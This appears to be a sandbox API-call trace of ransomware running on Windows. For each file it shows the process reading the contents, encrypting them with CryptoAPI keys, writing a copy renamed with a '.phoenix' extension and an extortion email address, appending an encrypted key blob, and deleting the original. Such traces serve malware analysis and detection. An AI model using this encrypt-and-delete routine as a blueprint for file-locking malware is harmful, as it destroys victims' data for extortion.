	[0063.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.089] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.089] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.089] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.089] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.090] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa908) returned 1
	[0063.090] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.090] ReadFile (in: hFile=0x328, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x1d8f, lpOverlapped=0x0) returned 1
	[0063.109] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x1d90) returned 1
	[0063.109] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x1d90, lpOverlapped=0x0) returned 1
	[0063.110] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa248) returned 1
	[0063.110] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.110] CryptEncrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0063.110] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0063.110] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0063.110] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0063.110] CloseHandle (hObject=0x328) returned 1
	[0063.110] CloseHandle (hObject=0x318) returned 1
	[0063.112] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1
	[0063.114] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.114] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.114] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=6309) returned 1
	[0063.114] CloseHandle (hObject=0x318) returned 1
	[0063.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0063.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.114] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.114] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.114] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.114] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.115] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa788) returned 1
	[0063.115] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.115] ReadFile (in: hFile=0x318, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x18a5, lpOverlapped=0x0) returned 1
	[0063.134] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x18b0) returned 1
	[0063.134] WriteFile (in: hFile=0x328, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x18b0, lpOverlapped=0x0) returned 1
	[0063.135] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa6c8) returned 1
	[0063.135] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.135] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0063.135] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0063.135] WriteFile (in: hFile=0x328, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0063.135] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0063.135] CloseHandle (hObject=0x318) returned 1
	[0063.135] CloseHandle (hObject=0x328) returned 1
	[0063.456] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1
	[0063.457] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.457] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.457] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3314) returned 1
	[0063.457] CloseHandle (hObject=0x328) returned 1
	[0063.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0063.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.457] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.457] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.458] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.458] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.458] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa248) returned 1
	[0063.458] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.458] ReadFile (in: hFile=0x328, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xcf2, lpOverlapped=0x0) returned 1
	[0063.460] CryptEncrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xd00, dwBufLen=0xd00 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xd00) returned 1
	[0063.460] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xd00, lpOverlapped=0x0) returned 1
	[0063.461] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa408) returned 1
	[0063.461] CryptSetKeyParam (hKey=0xbaa408, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.461] CryptEncrypt (in: hKey=0xbaa408, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0063.461] CryptDestroyKey (hKey=0xbaa408) returned 1
	[0063.461] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0063.461] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0063.461] CloseHandle (hObject=0x328) returned 1
	[0063.461] CloseHandle (hObject=0x318) returned 1
	[0063.464] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1
	[0063.466] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.466] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.466] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=77748) returned 1
	[0063.466] CloseHandle (hObject=0x318) returned 1
	[0063.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0063.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.466] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.466] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.466] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.467] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.467] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa588) returned 1
	[0063.467] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.467] ReadFile (in: hFile=0x318, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x12fb4, lpOverlapped=0x0) returned 1
	[0063.480] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x12fc0, dwBufLen=0x12fc0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x12fc0) returned 1
	[0063.480] WriteFile (in: hFile=0x328, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x12fc0, lpOverlapped=0x0) returned 1
	[0063.483] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa508) returned 1
	[0063.483] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.483] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0063.483] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0063.483] WriteFile (in: hFile=0x328, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0063.483] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0063.483] CloseHandle (hObject=0x318) returned 1
	[0063.483] CloseHandle (hObject=0x328) returned 1
	[0063.488] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1
	[0063.494] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.494] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.494] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=82346) returned 1
	[0063.494] CloseHandle (hObject=0x328) returned 1
	[0063.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0063.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.495] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.495] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.495] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.495] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.495] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa2c8) returned 1
	[0063.495] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.495] ReadFile (in: hFile=0x328, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x141aa, lpOverlapped=0x0) returned 1
	[0063.509] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x141b0, dwBufLen=0x141b0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x141b0) returned 1
	[0063.509] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x141b0, lpOverlapped=0x0) returned 1
	[0063.512] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa348) returned 1
	[0063.512] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.512] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0063.512] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0063.512] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0063.512] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0063.512] CloseHandle (hObject=0x328) returned 1
	[0063.512] CloseHandle (hObject=0x318) returned 1
	[0063.520] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1
	[0063.521] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.522] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0063.839] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=8876) returned 1
	[0063.839] CloseHandle (hObject=0x330) returned 1
	[0063.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0063.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.839] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0063.839] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.841] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.841] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.842] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa248) returned 1
	[0063.842] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.842] ReadFile (in: hFile=0x330, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x22ac, lpOverlapped=0x0) returned 1
	[0064.083] CryptEncrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x22b0) returned 1
	[0064.083] WriteFile (in: hFile=0x338, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x22b0, lpOverlapped=0x0) returned 1
	[0064.084] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa608) returned 1
	[0064.084] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.084] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0064.084] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.085] WriteFile (in: hFile=0x338, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0064.085] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0064.085] CloseHandle (hObject=0x330) returned 1
	[0064.085] CloseHandle (hObject=0x338) returned 1
	[0064.088] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1
	[0064.090] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.090] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.090] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=77232) returned 1
	[0064.090] CloseHandle (hObject=0x338) returned 1
